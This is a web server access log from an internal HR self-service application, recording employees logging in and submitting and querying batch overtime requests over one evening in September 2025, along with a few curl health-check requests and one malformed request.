192.168.11.131 - - [05/Sep/2025:17:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7210400780754287 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7210400780754287 HTTP/1.1" 200 8588
192.168.11.131 - - [05/Sep/2025:17:57:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7210400780754287 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7210400780754287" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:57:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7210400780754287 HTTP/1.1" 200 14552
192.168.11.131 - - [05/Sep/2025:17:57:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:57:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.131 - - [05/Sep/2025:17:57:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:57:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.131 - - [05/Sep/2025:17:57:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521
192.168.11.131 - - [05/Sep/2025:17:57:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:57:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168125 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:17:57:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168125
100.64.0.1 - - [05/Sep/2025:18:00:54 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [05/Sep/2025:18:00:54 +0800] "\x03" 501 203
192.168.11.89 - - [05/Sep/2025:18:04:27 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.11.89 - - [05/Sep/2025:18:04:27 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:04:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:04:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.89 - - [05/Sep/2025:18:04:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.89 - - [05/Sep/2025:18:04:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:04:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.89 - - [05/Sep/2025:18:04:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:04:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:04:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [05/Sep/2025:18:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5124263254638306 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5124263254638306 HTTP/1.1" 200 8816
192.168.11.89 - - [05/Sep/2025:18:05:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5124263254638306 HTTP/1.1" 200 16790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5124263254638306" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:09 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5124263254638306 HTTP/1.1" 200 16790
192.168.11.89 - - [05/Sep/2025:18:05:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267
192.168.11.89 - - [05/Sep/2025:18:05:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.89 - - [05/Sep/2025:18:05:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8126169691777363 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8126169691777363 HTTP/1.1" 200 8816
192.168.11.89 - - [05/Sep/2025:18:05:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8126169691777363 HTTP/1.1" 200 10992 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8126169691777363" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8126169691777363 HTTP/1.1" 200 10992
192.168.11.89 - - [05/Sep/2025:18:05:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:05:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.89 - - [05/Sep/2025:18:05:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8205
192.168.11.89 - - [05/Sep/2025:18:05:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8205 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:06:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12561 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.89 - - [05/Sep/2025:18:06:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12561
100.64.0.1 - - [05/Sep/2025:18:11:28 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:11:28 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:18:13:32 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:13:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:18:19:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:19:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:18:19:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:19:54 +0800] "GET / HTTP/1.1" 200 439
192.168.11.131 - - [05/Sep/2025:18:23:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:18:23:39 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.131 - - [05/Sep/2025:18:23:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:18:23:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.131 - - [05/Sep/2025:18:23:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.131 - - [05/Sep/2025:18:23:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:18:23:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:18:23:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.131 - - [05/Sep/2025:18:23:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:18:23:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521
192.168.11.131 - - [05/Sep/2025:18:23:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168125 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [05/Sep/2025:18:23:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168125
100.64.0.1 - - [05/Sep/2025:18:38:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:18:38:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:18:38:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:18:38:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.35 - - [05/Sep/2025:18:43:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [05/Sep/2025:18:43:00 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [05/Sep/2025:18:43:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [05/Sep/2025:18:43:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [05/Sep/2025:18:43:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [05/Sep/2025:18:43:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [05/Sep/2025:18:43:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.05516883583629473 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:36 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.05516883583629473 HTTP/1.1" 200 8728
192.168.11.35 - - [05/Sep/2025:18:43:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.05516883583629473 HTTP/1.1" 200 14146
192.168.11.35 - - [05/Sep/2025:18:43:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.05516883583629473 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.05516883583629473" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.35 - - [05/Sep/2025:18:43:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:43:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [05/Sep/2025:18:44:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5174222635526324 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:04 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5174222635526324 HTTP/1.1" 200 8728
192.168.11.35 - - [05/Sep/2025:18:44:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5174222635526324 HTTP/1.1" 200 14146
192.168.11.35 - - [05/Sep/2025:18:44:07 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5174222635526324 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5174222635526324" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063
192.168.11.35 - - [05/Sep/2025:18:44:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [05/Sep/2025:18:44:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6623375643750082 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6623375643750082 HTTP/1.1" 200 8728
192.168.11.35 - - [05/Sep/2025:18:44:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6623375643750082 HTTP/1.1" 200 14146
192.168.11.35 - - [05/Sep/2025:18:44:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6623375643750082 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6623375643750082" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4263 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:18:44:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4263
